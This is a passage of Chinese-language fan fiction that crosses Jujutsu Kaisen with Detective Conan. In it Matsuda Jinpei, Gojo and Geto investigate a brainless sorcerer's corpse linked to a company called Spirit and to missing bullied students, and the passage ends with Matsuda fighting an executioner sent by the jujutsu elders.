他将小螺丝刀揣进裤兜,悠闲地走出刑讯室:“当警察还是要多用脑子,只会耍狠可做不成好警察。”
说罢,便带着本田扬长而去。
留下三人望着桌上被拆开的金属手铐,陷入久久的沉默。
======
“本田,跟上面说接过这个案子。还有五条现在在哪里?需要他过来看下现场和尸体。”松田阵平一上车就沉下脸来,语速极快地对本田说到。
本田发动车子的手一顿,回头问:“松田同学是怀疑案涉咒灵?”
松田阵平:“也有可能是诅咒师,具体的需要五条来看看。”
本田挂挡起步:“我明白了,我先带你去接五条同学和夏油同学。”
松田阵平皱眉:“要回高专?打电话叫人开车他把送过来,或者叫夏油用虹龙带他过来。”
本田:“五条同学和夏油同学在附近做任务,很快就到。任务的详细情况松田同学你可以看看后座上的资料。”
松田阵平拿起身旁的资料夹,浏览纸面上的资料。
当他扫过任务地点的图片时,眼神突然一滞。
是那个墨绿色的“S”标志。
他死死盯着这个标志,随后快速翻看任务的详细资料。
“世礼学院……国际学校……五位受资助的资优生被霸凌退学……并于一个月后陆续失踪?”
本田叹了口气:“是的,这所小初高一贯制国际学校中似乎有霸凌资优生的传统,连校方都默许的那种。不过贵族学校嘛,不难理解。”
松田阵平:“咒灵出现在校内?”
本田:“据‘窗’的观测是这样的。”
松田阵平:“查清这五位学生是在校内还是校外失踪的了吗?因为被霸凌退学后还会返校吗?”
本田:“这个……‘窗’接到报案后只是调查了世礼学院内部,发现有咒灵存在后便通知高专派人祓除。至于那五位失踪的学生,详细信息并不清楚。”
松田阵平:“不对劲。被霸凌到退学的孩子,大概率不会在已经办完退学手续一个月后还返校,失踪地应该是在校外。他们失踪可能和校内的咒灵无关。”
本田皱眉:“我知道了,松田同学,我会让‘窗’继续调查这一点的。”
松田阵平将资料翻回第一页,墨绿色的“S”再次映入凫青色的眼眸之中:“这个墨绿色的‘S’是什么公司的标志?世礼学院也是这家公司开办的?”
本田朝左打了下方向盘:“那是Spirit公司的标志。他家公司在横滨拥有许多产业。我记得松田同学是横滨人吧,不知道这个吗?”
松田阵平顿了顿:“我小时候一直在东京的亲戚家或者寄宿学校里,高中才回横滨读书,确实不太清楚这点。”
D世界并没有这家公司的存在,
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又或者是并不出名,总之他从未听说过“Spirit”这个名字。
“抱歉……”本田想起松田阵平基础资料里关于父母及过往经历的介绍,有些抱歉。
松田阵平摆摆手,继续问:“这个Spirit公司是医药相关的公司吗?”
本田语气惊奇:“松田同学是怎么知道的?他家确实是做医药研发起家的。”
松田阵平:“如果把墨绿色的‘S’看成是蛇的话,‘S’加权杖的标志就变成了单蛇杖,这是医学的标志‘蛇徽’。用这个做标志,大概率是医药相关的公司。”
本田啧啧称赞:“原来如此,松田同学的知识面还真是广啊。”
松田阵平轻笑了下。
说话间,车子已经停在了一所校门建造得十分华美的学校门口。整个学校几乎都被巨大的紫黑色“帐”包裹,只有白金色的大门还露在外面。
本田十分感动:“太好了,这次五条同学和夏油同学没有忘记放‘帐’。”
说罢,紫黑色的“帐”慢慢消散,校门口走了两个高挑的少年。
五条悟插兜走在前面:“哇哦,阵平,局子一日游感觉怎么样?”
夏油杰微笑着跟上来:“松田,你不是回家拿东西吗,怎么被刑警抓了。”
五条悟摘下圆片墨镜,泪眼婆娑地看夏油杰:“都怪夏油妈妈在小阵平出门前没有给他带好武器啦,不然他怎么可能会被坏大叔抓走。”
夏油杰从裤兜里掏出一个炸毛的羽毛球,双手做举辛巴状:“一个人出远门太危险啦,带上这个羽毛球悟吧!”
五条悟在一旁哈哈大笑:“杰你好怪哦,到底是从哪里拿出来的羽毛球啊。”
夏油杰也哈哈大笑:“刚刚路过他们体育馆时,在门口捡的,和炸毛版的你超像欸!”
五条悟猛锤他的肩膀:“老子明明要帅几百倍好吧哈哈哈哈哈哈哈!”
松田阵平打开车门,半月眼看着笑得前仰后合的两人:“快上车,五条,有东西需要你的‘六眼’看一下。”
======
夜幕降临,横滨这座日本最大的国际通商口岸城市依旧不输白日般明亮。
中区的某处,一座竖着巨大“S”标志的写字楼,正因为白日的死亡事件而暂时关闭,在周围楼宇明亮灯光的衬托下显得有些冷寂。
三楼的一处房间,全楼唯一的亮光顺着破碎的玻璃流出窗户。
“唔……”五条悟专注地扫视全屋,苍蓝色的眼眸在白色的灯光下仿佛璀璨的蓝色宝石,“这屋里没有任何残秽哦。”
松田阵平挑了挑眉:“被清理过了吗。怪不得吊灯坠下不到三分钟警察就赶到了,是提前报警了吧?为了让我被带走,他好处理现场的残秽后逃走。”
五条悟带上墨镜:“如果你能确定这起事件确实涉及咒灵或者诅咒师的话,应该就是这样。”
夏油杰看完天花板残余的吊灯支架,跳下空中漂浮的咒灵,并将其收起:“应该是这样没错了,吊灯被切割的痕迹非常利落,现场又没有专业工具,想要一瞬间切断这种硬度的金属,几乎可以确定是使用了咒术。”
松田阵平点了点头:“五条,再去看下那个中年男人的尸体,我怀疑他是假死。”
还没等五条悟点头,本田从外面推门进来,急匆匆地将手中的手机塞给松田阵平:“松田同学,你要的尸检报告警局那边传过来了。”
“那具尸体,没有大脑。”
5. 缝缝补补第五针
“搞定,我叫家里老头去调查Spirit和失踪学生的详细情况了。”
横滨中华街的一家中华料理店内,发完短信的五条悟放下手机,重新拿起筷子,开始大快朵颐。
松田阵平手中的筷子避开桌上的糖醋小排、锅包肉等甜口菜色,夹向远处的回锅肉:“我记得术式是刻在右脑前额叶上的,那具尸体没有大脑,你是怎么判断出他是诅咒师的?”
======
半小时前,松田阵平带着五条悟三人二进神奈川县警察本部。
“法医室在十三楼,还请几位随我来。”接待几人的依旧是那位戴眼镜的精英相警察。
厚重的大门打开,白光灯如一层薄雪般,冷冷地铺满不锈钢和纯白构成的房间。空气中飘着的消毒水和福尔马林气味中,混杂着一丝丝血腥气。
屋内正中的解剖台上,安静地躺着一具被白布盖住的尸体。就算全身都被白布盖得严严实实,还是能看出这具尸体的头颅并不完整。
“我们在现场和尸体内都没有发现大脑和大脑的残留物。”精英相警察——穗高警部——紧皱眉头,他拿起桌面上的一叠现场勘验报告递给本田。
本田将资料递给松田阵平三人:“现场也没大脑残留吗?”
穗高警部无奈地说:“是的,要不是法医十分笃定地说受害者确实是刚死,我们都要怀疑这是一具死了许久已经被处理好的尸体了。”
五条悟走过去掀起盖尸的白布,摘下墨镜,扫视尸体周身。
夏油杰跟过去:“悟,如何?”
五条悟:“残秽也被清理过了,不过这人是咒术师或者诅咒师没错。”
松田阵平卷起手中的报告,敲了敲肩膀:“既然这样,本田,申请把尸体运回高专。”
“开什么玩笑——”还未等本田回应,大门“嘭”的一声被从外面打开,重重地磕在墙上。一道暴躁的声音响彻森冷的法医室。
众人回头,是伊藤警部和春日野警官。
强壮的警部堵着法医室的门,指着松田阵平大吼:“又是你这个关系户臭小子!别以为你的嫌疑解除了就可以随便插手我的案件了!你以为你是公安吗!”
他身后的小女警被堵在门外,想要阻止前辈的口无遮拦却无从下手,只好默默流下宽面条泪。
“哇哦。”五条悟搭住松田阵平的右肩,语气轻快,“这就是逮捕你的那位大叔啊。”
夏油杰搭住松田阵平的左肩:“虽然态度是挺凶的,但是这不是很弱吗?”
“我可是很遵纪守法的好吗?暴力拒捕可是要被监禁的。”松田阵平翻了个白眼,“而且你都说了他很弱了,被带走也不是什么大事。”
说罢他抖落肩上的两只胳膊,对本田一挥手:“本田,去做事。”
本田点了点头,向门外走去。
面对堵着门的彪形大汉,他只是轻微一撞便撞开了一条缝隙,随即从缝隙出门了。
松田阵平挑眉,看来就算是辅助监督,用咒力强化过肉//体后,也比受过训练的普通人强点儿。
“你这家伙——”伊藤被撞得向后一个趔趄,差点摔倒,多亏他身后一直试图阻止前辈的春日野警官扶住了他。
五条悟三人也从空挡处鱼贯而出。
五条悟:“有点饿了,杰,去中华街找点吃的吧。”
夏油杰:“好哦,我前几天刚在硝子那里看过横滨中华街十大美食店铺推荐,挑一家去吧。”
走在后面的松田阵平拍了拍有些懵的伊藤警部:“这个案子不是你们能插手的,还是交给专业人士吧。”
说罢,落在伊藤警部肩膀上的手做了个“弹指”的动作,扭头走了。
伊藤警部站稳,看了下自己的右肩。
春日野担忧的问到:“你没事吧前辈。”
“……没事。”伊藤动了动右肩,低声喃喃道,“右肩好像舒服点了,难道是被撞了下所以好了?”
穗高警部带着无奈的表情走出法医室:“伊藤,这个案子到此为止了,接下来不是我们可以涉足的领域了。”
春日野惴惴不安地看向伊藤警部,生怕这位暴躁的前辈当场和穗高警部打起来。
没想到伊藤警部只是皱皱眉:“我知道了。”
说罢便朝楼梯间走去。
春日野警官急忙跟上:“前辈……你……你没事吧。”
伊藤警部面带平和:“我没事,这件案子不能查了,刚好全力去调查世礼学院那几个退学孩子的失踪案。”
远处已经走到电梯门前的松田阵平回头。
那就抱歉了,世礼学院的案子也被我们抢过来了。他心中毫无愧疚之情。
原来抢案子这么爽的吗,怪不得那些公安天天四处觅食。他双手抱胸,右手托着下巴沉思。
电梯开门,三人进入。
“蝇头那种四级咒灵放着不管也没什么啦。”五条悟低头按着手机,似乎是在和家入硝子讨要那份美食推荐杂志的图片。
松田阵平抬头,看着电梯显示屏中的数字一点一点变小:“那个大叔脾气那么暴躁也有肩膀上蝇头的原因吧。”
夏油杰赞同地点头:“稳定普通人的心情确实是抑制咒灵的办法之一。松田不出手的话我也会出手的。”
“果然是杰会说的话。”五条悟无所谓地耸了耸肩,对着二人一亮手机屏幕:“硝子把图片发过来了,我们去吃什么?中华料理还是烤肉?”
松田阵平和夏油杰凑过去看他的手机屏幕。
“中华料理吧,感觉去中华街吃韩式烤肉怪怪的。”
“好哦,这个杨枝甘露看起来还不错。唔,给硝子打包个酒酿小圆子回去好了。”
“那玩意儿含酒精吧,未成年人可以吃吗?”
“谁知道啊,看看能不能买不就知道了。”
三人的背影混入横滨街头熙熙攘攘的人群之中。
======
穿着旗袍的服务员将最后的几道甜品端上桌来:“杨枝甘露、红豆双皮奶、鲜肉汤圆和酒酿小丸子。客人您的餐点上齐了,请慢用。”
“唔,好吃欸。”五条悟捞起杨枝甘露的方碗,开始品尝,“虽说没有大脑没法判断他的生得术式,但是明显可以看出他的身体有被咒力强化过的痕迹,而且时间还不短,至少二十年起步了。”
夏油杰用勺子拍了拍双皮奶,软嫩的奶色凝脂“duangduang”地跳了几下,上面的几粒红豆被晃得蹦出小碗:“带回高专让硝子解剖下看看吧。而且不论是咒术师还是诅咒师,为了防止尸体被利用,总要回收的。”
五条悟拿着勺子的手伸向夏油杰的碗:“杰,你这个看起来也不错,给我吃口。”
松田阵平看了看因为被五条悟一勺挖走一大半双皮奶而
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陷入沉默的夏油杰,怜惜地朝他递了递手中的鲜肉汤圆碗:“这个也还不错。”
估计是这种事情天天都在发生,夏油·忍人·杰光速调理好自己,边嚼汤圆边含糊地说到:“最近接到的因校园霸凌而导致的诅咒事件确实是越来越多了,今年还不到四个月,感觉就比去年一整年接到的还多。”
松田阵平皱眉:“要查查这些学校和那个Spirit公司有没有关系,我的直觉告诉我,这绝对不是失踪几个人就能了事的。”
五条悟和夏油杰边大嚼特嚼,边赞同地点点头。
吃得七七八八,能量补充得差不多了的五条悟开始招惹夏油杰:“杰啊,你之前会不会因为刘海儿太怪而被霸凌啊。”
夏油杰脑门蹦出青筋:“一天不拿我刘海儿挑事你浑身难受是吧?”
松田阵平看着一只手夹菜吃饭一只手互殴的两人,无语地露出半月眼:调侃夏油的怪刘海儿是五条的什么日常任务吗?那今天日常任务进度已经1/1了。
他舀了一碗海鲜疙瘩汤,边喝边说:“你看夏油的体格体术,再看他的着装风格,不被学校的不良鞠躬喊‘夏油哥’就不错了,怎么可能会被霸凌。”
夏油杰无语地看向怪笑的松田阵平:“真正的恶人脸在说什么啊,看来你蛮有经验的嘛,‘松田哥’。”
五条悟:“你们的普通人学校生活看起来还不错嘛,我在家上学天天只能看老橘子皱皱巴巴的脸,无聊死了。”
松田阵平:“你真失学儿童啊?你们家不会所有人都没上过小学和初中吧?”
他之前推测的法外之地咒术界好像进一步应验了。
五条悟抱怨:“何止啊,御三家连个上高专的都没有。我能出来上学还是靠武力逼迫才成功的,为此还在入学前被要求举行了‘元服礼’。”
“元服礼?”松田阵平愣了下,继而露出了个调侃的笑,“……突然意识到五条你果然是封建大家族出身的少爷了呢。”
五条悟:“果然我平时看起来还是蛮有亲和力的嘛。”
夏油杰笑他:“高年级的几位前辈可是完全没感受到哦,五条家的‘神子’,他们完全不知道该怎么接触你欸。”
五条悟自信:“毕竟我是最强嘛,让人有距离感不是很正常。而且冥小姐和歌姬跟我们接触不挺多的嘛。”
夏油杰无语:“庵前辈都快把‘五条悟和狗不得进入我周身十米内’贴身上加挂网上了,你不会觉得她和你关系很好吧。”
五条悟揽上夏油杰的肩膀:“那是在开玩笑啦开玩笑,杰你不是也经常被她骂嘛,看在她那么弱的份上,五条大人原谅她啦。”
这什么高专人憎狗厌的最强二人组。
“问题不大啦,咒术师还是实力说话。”松田阵平耸耸肩。
他上初中后就不怎么在乎周围同学和老师的目光了。入职警视厅爆处组后也是几乎将全部精力投入到拆弹相关的研究上,身边的人际关系算是得过且过。
不过hagi应该有暗地里帮他处理过一些人际相关的问题,虽然他没有说过,但是松田阵平有感受到。
正沉思着,门口突然传来一道清越的声音:“松田?”
松田阵平转头,一个一米九上下、面容俊秀的黄发少年正冲他走来。
不存在的记忆在看到少年的一瞬间浮现在脑海里。
“……黄濑?”
6. 缝缝补补第六针
晚春的四月末,倒春寒还在横滨的夜晚发威。
中华街的一家中华料理店内,不同于日本食店的热闹在窗户上蒸出了一层浅浅的雾气。
身材高大的黄发少年行至靠窗的一个卡座前,笑着对着其中一个卷发少年说到:“真是你啊,松田,还好我没看错。”
松田阵平冲他点了点头:“你们篮球部聚餐?”
说完他冲着窗外街对面一家烤肉店门口的几个高个少年指了指。
窗外正偷看他们的几个少年不约而同地咳了下,互相肘击地转过身去。
“是的,迎新聚餐。”黄濑凉太无语地看了眼窗外等位顺带八卦的几个前辈:“你怎么突然转学了?因为横野他们吗?”
松田阵平眼神疑惑:“横野?那是谁?”
并不存在的记忆里没有这个叫横野的家伙啊。
顺便一提,他面前的这位名为“黄濑凉太”的校篮球部主将、传说中“奇迹的世代”之一、校草、知名少年模特、推上网红,在那并不存在的记忆里,是他高中的体育课兼实验课兼班级值日搭档,班主任还曾拜托过他帮忙辅导黄濑的理科,避免因为挂科影响黄濑篮球赛出赛。
总的来说,他俩在并不存在的记忆里属于关系不错的同学。
黄濑的眼神也逐渐疑惑起来:“你不记得横野了?他不是你拳击社的前辈吗?今天学校里都在传都是因为他带头霸凌你你才转学的。”
一旁的夏油杰和五条悟被呛地咳嗽起来。
五条悟拿起手旁的奶茶狂灌,终于压住咳嗽后笑着说到:“真的假的啊阵平?你不是‘松田哥’吗?”
夏油杰也笑:“我记得你不是全国高中拳击联赛的个人冠军吗?在社团里冠军也会被霸凌啊?”
松田阵平无语地看了他俩一眼,又转头对黄濑凉太道:“假的,别信。横野是谁我都不记得了。会转学单纯是个人未来职业规划的原因。”
黄濑凉太瞥了五条悟二人一眼:“个人未来职业规划原因的话,你转去体校了?”
合理啊,看那个白毛和怪刘海的体格,确实像是专门的体育学校出来的。
松田阵平顿了下:“其实是宗教类高专,不过学校日常确实也挺重视体能训练的。”
“宗教类?我还以为你要去做职业拳击手了。”黄濑凉太逐渐不理解一切,“真的不是因为横野那帮人吗?”
松田阵平敏锐地察觉出什么:“横野他们经常在校内搞霸凌?”
黄濑凉太点点头:“据说是这样,他好像有新校董的背景在。”
街对面烤肉店门口,等到位置的几个少年对黄濑凉太招招手。
黄濑凉太冲他们摆了下手,低头,笑着跟松田阵平告别:“既然你没事,那我就先走了。你想了解横野的话,我帮你问下具体情况。”
松田阵平一抬下巴:“谢了,黄濑。那再联络。”
黄濑凉太又瞥了五条悟和夏油杰一眼,转身面无表情地离开。
“竟然真的有人来中华街吃韩式烤肉唉。”五条悟用手肘捣了捣身旁的夏油杰,贱兮兮的说到。
“可能确实好吃吧,下次我们也去尝尝。”夏油杰端起新点的牛肉面,呼噜呼噜地吃面,“松田,那个是你高中同学?看着还挺眼熟的。”
松田阵平差不多吃饱了,单手支颐着看他二人收尾:“是啊,海常高校的篮球部主将,也是全国级别的实力。你看他眼熟可能是在杂志上见过吧。”
夏油杰:“杂志?我没怎么看过篮球杂志。”
松田阵平:“也可能是时尚杂志,他还是个模特。”
一旁的五条悟右手握拳锤向左手掌心:“哦!我想起来了,在硝子那边看过他的封面。”
夏油杰:“你刚刚让他帮忙调查那个叫横野的,是认为海常的新校董和Spirit公司有关?而海常会是他们的下个目标?”
松田阵平点点头:“是这样没错,我完全不记得这个同在拳击社的叫横野的家伙,说明他在我入学这一年来并没有什么大的作为——无论是好还是坏。这种平时默默无闻的家伙,学校里突然传起他带头霸凌同学的传言,有些古怪。”
五条悟站起身来,伸了个懒腰:“那等查出信息后再过来一趟,先回高专吧。”
夏油杰抬手招呼服务员小姐:“你好,请帮忙打包下这份酒酿小圆子。”
五条悟:“啊,再来一份杨枝甘露一起打包。”
街对面的烤肉店内。
“喂,黄濑,刚刚那个就是传说中的松田啊。”早川充洋手肘捣了捣身旁的后辈。
“是啊。”黄濑凉太在菜单上打了几个勾,回应道。
“啊,那个就是松田前辈啊,他超有名的。”一年级新部员冲外张望着。
身着黑色制服的三人提着打包袋从中华料理馆内走出来。白发少年被路边卖糖葫芦的小店吸引过去,开始疯狂点单。
站在一旁等他的卷发少年似乎察觉到烤肉店内的视线,倏地转头,凫青色的眼眸锐利地朝他看来。
明亮的路灯打在少年的头顶,蓬松的卷发在他英俊的面容上遮下一道暗影。
一年级部员紧忙收回视线,对坐在对面的前辈感慨到:“果然如传言中是能和黄濑前辈争校草的大池面啊,不过果然也如传言里那样看起来好凶!”
黄濑凉太笑着摆了摆手:“松田只是看起来凶啦,人其实很好的,很直率很好相处。”
中村真也接过服务员递来的烤肉夹:“听说他转学了?还和横野有关系?”
黄濑凉太撕开湿纸巾擦手:“松田说不是。话说回来,中村前辈你和横野前辈一个班的对吧?他真的跟最近的传言里那样?”
中村真也皱了皱眉:“说起来最近关于他的传言都怪怪的……”
这边的海常篮球队开始讨论起最近的校内八卦。
另一边,买完了糖葫芦的松田阵平三人找了个偏僻的小巷,召唤出虹龙,开着无下限,走空路返回高专。
“果然虹龙才是高专第一机动力啊。”松田阵平拍了拍身下的虹龙,从五条悟手中的纸袋中挑出一串辣味咸蛋黄肉松海苔糖葫芦,咔嚓咔嚓地嚼着。
这味道,好怪!
但是并不难吃。
卷发少年看着手中的糖葫芦陷入沉思。
“高专建得太偏了,出来买东西都不方便。我家老宅都没这么偏僻。”五条悟盘腿坐最前面,开着无下限给身后的二人挡风,手中的双莓糖葫芦已经吃得七七八八。
夏油杰耸了耸肩:“我刚来高专时也很震惊,在东京竟然有比我老家还偏僻的地方。”
松田阵平看他:“你老家?夏油你不是东京人?”
夏油杰面带柔和的回应他:“我老家在岩手县,大部分人是开农场的,生活节奏很慢。那边今年才刚开了第一家
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百货商店,远没有东京这边繁华。咒术师也是从未见过,我被高专发现还是因为初二来东京这边修学旅行。你如果打算去那边玩的话,可以住我家,我妈妈做饭很好吃的。”
五条悟插嘴:“杰妈妈做的可乐饼超好吃哦。”
松田阵平诧异地看他:“你去过夏油他家?出任务顺路吗?”
五条悟:“去年盂兰盆节放假的时候去的啦,刚和家里老头子们吵了一架,完全不想回京都呢。你想去的话我们可以一起,杰家旁边的公园里可以钓到龙虾,超——大——个——”
松田阵平看着因想起愉快的回忆而开心笑着的二人,答应到:“好啊,那下次就打扰了。”
果然还是要去看看夏油杰的成长环境。松田阵平看着下方逐渐稀疏的灯光,暗中分析。
岩手县吗,确实是国内出了名的淳朴又守旧的地方,夏油性格能看出来出身成长地带来的影响。
丸子头少年虽然平日里穿着有些吊儿郎当,但是从他的言行中不难看出性格里正直淳朴的部分:对保护弱者有着天然的责任感和使命感。
但是也有守旧的部分:对于群体的认知有些刻板化、变通不足。
从小生活在与自己格格不入的人群中,会让人产生“异类感”。
被咒术师群体找到后,会迅速对其产生群体认同感。
但是,这也会让他将咒术师和非咒术师这两个群体更加地割裂开来看待。
他的生长环境决定了他对“非咒术师是弱者,需要作为咒术师(强者)的我们来保护”观念的坚持。
可是按照事物的发展规律,非咒术师也是有可能比咒术师强势的,甚至必然会有非咒术师伤害咒术师的真实案例存在。
如果真的发生了这种情况,你又怎么坚持你的责任和使命呢?
松田阵平抬眼看向正和五条悟分享一盒泡芙的夏油杰,在心中发出疑问。
======
不到半小时,虹龙降落在高专内部的操场上。
现在已经过了九点,高专内部的建筑只有几栋还亮着灯光。
五条悟和夏油杰带着松田阵平来到解剖室所在的医疗楼三楼。整栋医疗楼现在只有一间房间还亮着灯。
“硝子——”五条悟猛地推开解剖室的大门,对着屋内喊道:“我们给你带了酒酿小圆子哦。”
屋内正在洗手的棕发少女转头看他:“谢啦,刚好饿了。”
说罢擦了擦手,接过白发少年手中的打包袋。她的眼神扫过门口的卷发少年:“这就是新同学?”
松田阵平走到屋中央的解刨台前,掀起白布,回到:“你好,我是松田阵平。”
棕发少女边吃边说:“你好,我叫家入硝子。”
说罢又仔细地看了看松田阵平的脸,转头对倚在门框上的五条悟说:“五条,新同学的脸蛋比你还强一点欸。”
五条悟翻了个白眼:“老子的脸蛋天下第一好吧。”
家入硝子含着勺子嘟嘟囔囔:“比起白毛,我是黑发派啦。”
松田阵平低头看着被解剖后又缝合整齐的尸体,问家入硝子:“结果如何?”
家入硝子嚼着小圆子:“五条和法医的结论都没问题哦,确实是个咒术师。”
棕发少女竖起一根食指,指向五条悟:“而且是御三家的咒术师。”
“他身上有使用加茂家术式的痕迹。”
7. 缝缝补补第七针
“他身上有使用加茂家术式的痕迹。”
深夜,东京都立咒术高专的医疗楼解剖室内,棕发少女边吃酒酿小圆子边平淡地说到。
松田阵平皱眉:“加茂家?怎么看出来的?他们家的术式会在肉//体上留下使用痕迹?”
五条悟抱胸捂嘴思考:“加茂家的祖传术式是【赤血操术】,使用过多确实会导致贫血及身体血管发生变化。但是我记得他家没有这个年纪的【赤血操术】拥有者才对。”
夏油杰点点头:“去年年底听夜蛾老师说过,加茂家现有的唯二两个【赤血操术】术式拥有者,一个是八十岁的老头,一个是刚被迎回的侧室之子,今年刚八岁。”
家入硝子吃完最后一口酒酿小圆子,耸了耸肩:“那我就不清楚了,医生只负责自己专业内的事情,其他的靠你们自己了。”
说罢她起身将尸体推回冷冻柜,脱下身上的白大褂,换上挂在柜子中的高专制服外套:“我先回宿舍了,还有书要看。”
其余三人跟在她身后,关灯关门,陆续离开。
解剖室重新陷入黑暗与寂静之中。
突然,一阵风将放在桌上的验尸报告吹落在地。片刻后,一双手又将它捡了起来。
======
是夜,东京咒术高专沉浸在深夜的寂静之中。
月光透过落地窗照进男生宿舍楼二楼的一处房间内,打在地板上,给未开灯的房间带来一点亮光。
盥洗室的门被从内推开,一双赤足带着些许水渍踩在地板的月光上。
刚洗完澡的少年带着盥洗室的热气进入房间。
松田阵平一只手拿着毛巾擦头发,另一只手在墙上摸索着电灯开关。
啪——
明亮的光瞬间充满整个房间,驱散了清冷的月光。
松田阵平将毛巾搭在肩膀上,蹲在小冰箱前挑选饮料。
半干的卷发被他擦拭得张牙舞爪,但不消片刻就被发稍上残留水汽的重量带着乖巧地垂在少年脸庞。
他随便打开一瓶水喝了两口,又从旁边摊开的行李箱中捞起一个陈旧的小收音机。在落地窗前坐下,开始拆拆卸卸。
半掌长的螺丝刀在少年手中转得飞快。
他的思绪转得更快。
目前接触到的“缝隙”有两个:夏油杰和那个逃走的诅咒师或者咒术师,姑且先用X代称。
二者是否有关联性暂且未知。
夏油杰这边事态还不着急,等他后续再观察下。还有岩手夏油家那边也要选个合适的时机再接触。所以这条线可以先放放。
X牵扯到三御家之一的加茂家和Spirit公司,以及多所学校的霸凌和学生失踪事件。涉及多名学生的生命安全,这边需要尽快解决。
明天先去“窗”那边询问下最近学校霸凌和学生失踪相关的诅咒案件地域分布情况好了。
黄濑那边如果被证实了与Spirit公司有关,海常高中就可以作为解决案件的突破口。
松田阵平拆完了手中的小型收音机,又开始重新组装。
根据夏油所说,他作为普通人出身的一级咒术师,大概率会被总监部征召过去敲打加拉拢。看看能不能利用这个机会接触下加茂家的人吧。
稀碎的零件飞速被拼成一个完整的小收音机。
松田阵平丢开手中的东西,起身关灯。随后仰面躺在床上。
两日未眠的疲惫终于在他接触到柔软的枕头和被褥的一瞬间涌上身体。
上次躺在床上睡觉是一周多前了吧。
转入搜查一课后,他全身心紧绷地等待着11月7日的到来,那七天都是睡在办公室里的。
昨夜来到这个世界后,更是被有机会重来一次挽回hagi的喜悦与兴奋冲击的无法入睡。写完检讨后,边翻阅咒术高专的相关教材边询问五条悟和夏油杰咒术和咒术界的基础信息。
后来天刚亮就迫不及待地回横滨了。
说起来这两天唯一一次闭眼休息,还是在摩天轮上被炸得粉身碎骨的时候。
什么地狱笑话。
松田阵平浅浅地笑出声来。凫青色的眼眸在黑暗中闪闪发亮。
真好啊,hagi。
我们还能有再重逢之日。
卷发少年带着笑容,沉入黑甜的梦乡。
梦中是有友人存在的未来。
======
“松田阵平,你可认罪?”
苍老而威严的声音穿透几扇纸质屏风,直冲站在和室正中的卷发少年而来。
事情为什么会变成这个样子。
松田阵平沉思。
夏油不是说总监部老头子对普通人出身但实力强劲的咒术师,只会稍微敲打下,重点还是在于拉拢吗?
怎么到他这里就变成让他认罪受罚了啊!
松田阵平啧了一声。
真是麻烦。
早知道这样,他睡够了再来啊。
今晨七时。
卷发少年卷着被子在咒术高专的男生宿舍里睡成一团。
并不怎么温柔的敲门声突然响起。
被吵醒的松田阵平捞起枕边的手机一看,才刚过七点。咒术高专八点半才上第一节课,他完全可以再睡一个小时。
门外的敲门声还在继续。
松田阵平啧了一声,阴沉着脸地掀开被子,起床开门。
门外是一个身着和服的瘦高男子,男子腰间别着一把红黑色的肋差。
他抬着下巴,俯视松田阵平,语气中带着些许轻慢:“松田阵平是吧?总监部的几位大人要见你。马上跟我来。”
松田阵平烦躁地抓了抓头发,没好气地回应他:“等着。”
说罢就把宿舍门关上了。
十分钟后,洗漱穿戴完毕、卷发也被打理得不那么凌乱的少年重新推开门。
瘦高男子沉默地在前面带路,松田阵平也不言语,打着哈欠跟上。
瘦高男子并未将松田阵平带去总监部所在的千代田区,而是来到了高专深处的一间和室。
松田阵平独自进入室内。
昏暗的和室内竖着几根等人高的烛台,上面点着几根蜡烛,昏黄的光透过灯罩打在周围几扇细木框的纸质屏风上。
屏风后面应该没有人。
或者说整间和室内只有松田阵平一人。
远程通讯类的术式吗。
他观察着墙壁上贴着的符咒和地上画着的结界图案。
突然,空气似乎震荡了一下,本就不怎么明亮的和室更加昏暗。
松田阵平回头瞥了一眼大门。
是“帐”升起来了。
为了防止他逃走吗?
“松田阵平,现一级咒术师,术式【万能拆弹】。昨日于横滨中区杀害二级咒术师加茂修。”
苍老的声音突然响起。
“松田阵平,你可认罪?”
威严的声音回荡在和室内,震得卷发少年有些耳朵疼。
他掏了掏耳朵,撇嘴:“认罪?你从哪里得出我杀了他的结论?证据呢?”
“现场吊灯的断口处有你的残秽,有这点就足够了。”
“哈?”松田阵平脑门蹦出个问号,“你在说什么梦话,‘六眼’可是确认过现场没有任何人的残秽,包括我的。”
他向前走了几步,食指关节敲了敲其中一扇纸质屏风:“我说你们这些人,想要搞陷害也要做得稍微好看些吧。奉承话听多了真以为自己说什么就是什么了啊臭老头!”
“不得无礼!”
“不得无礼!”
“不得无礼!”
周围几道纸质屏风后同时传来多声暴呵,声音有所区别,但同样散发着苍老的气息。
“狡辩无效。”
“现认定一级咒术师松田阵平为横滨加茂修死亡事件真凶,判处其死刑。”
“立即执行!”
“立即执行!”
“立即执行!”
苍老又沙哑的
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声音回荡在和室内,声波震得蜡烛火光跳动。
跃动的烛光映在卷发少年凫青色的眼眸中,少年略长的刘海在他的眉眼处遮下一道阴影。
“想要趁机解决我,也要看看你们有没有那个能力。”
他一字一顿地说到。
和室中突然陷入了诡异的寂静。
突然!少年猛地抬手拽起一根烛台,等人高的金属烛台如少年手臂的延伸,横扫四周的几扇纸质屏风。
屏风在巨力扫荡下破损、折断,最终残骸堆积在角落。
屏风后面的事物终于显露出它真正的面容。
果然没有人,只有几个贴满符咒的架子立在那里。
松田阵平哼笑一声:“露面都不敢的鼠辈。”
他丢下金属烛台,拉开障子门。
门还未完全打开,一把肋差突然刺破障子纸直冲松田阵平的面门而来。
松田阵平猛地一拽障子门,用木框挡下这记偷袭。随后向后急撤几步。
肋差慢慢地被门后之人拔出。一道身着和服的身影踏入和室。
正是那个将松田阵平带来此地的瘦高男人。
“处刑人?你是谁?”松田阵平警惕地看着他,右手又拽起一根金属烛台,左手伸进裤兜内,似乎是在摸索着什么。
“你不需要知道我的名字。”瘦高男人语气轻慢,“你只需要知道,你已经死了——”
话音未落,肋差已经到了松田阵平眼前。
他挥起烛台格挡:“大叔——你北斗神拳看多了吧!”
只是一击,金属烛台就被肋差削去了台座。
松田阵平挡住了这记攻击,翻身一跃,从男人头顶跃出和室。
他举起少了三分之一的烛台看了眼。
啧,果然普通武器和咒具不能抗衡。
那么接下来要先打破“帐”才行。他抬头扫视罩住了整座和室和一大半庭院的紫黑色结界。
少年凫青色的眼中浮起碎金的光。复杂的炸弹结构在空中显现。
“啧。”松田阵平撇嘴。
效果是禁止“松田阵平”出入吗。不算太难,三击应该可以搞定。
来吧——
少年挥起烛台刺向高处,烛台断裂处划过“帐”的一处。
同时,烛台正中被袭向少年胸膛的肋差砍中。
瘦高男人面无表情地收回再次将烛台一分为二的刀:“下一击,你还能逃过吗?”
松田阵平咧开嘴角:“谁要逃啊——”
说罢,手中最后一段烛台已经挥向男人。
男人抬起左手中的刀鞘将掷向他的烛台挥开:“已经放弃了吗。”
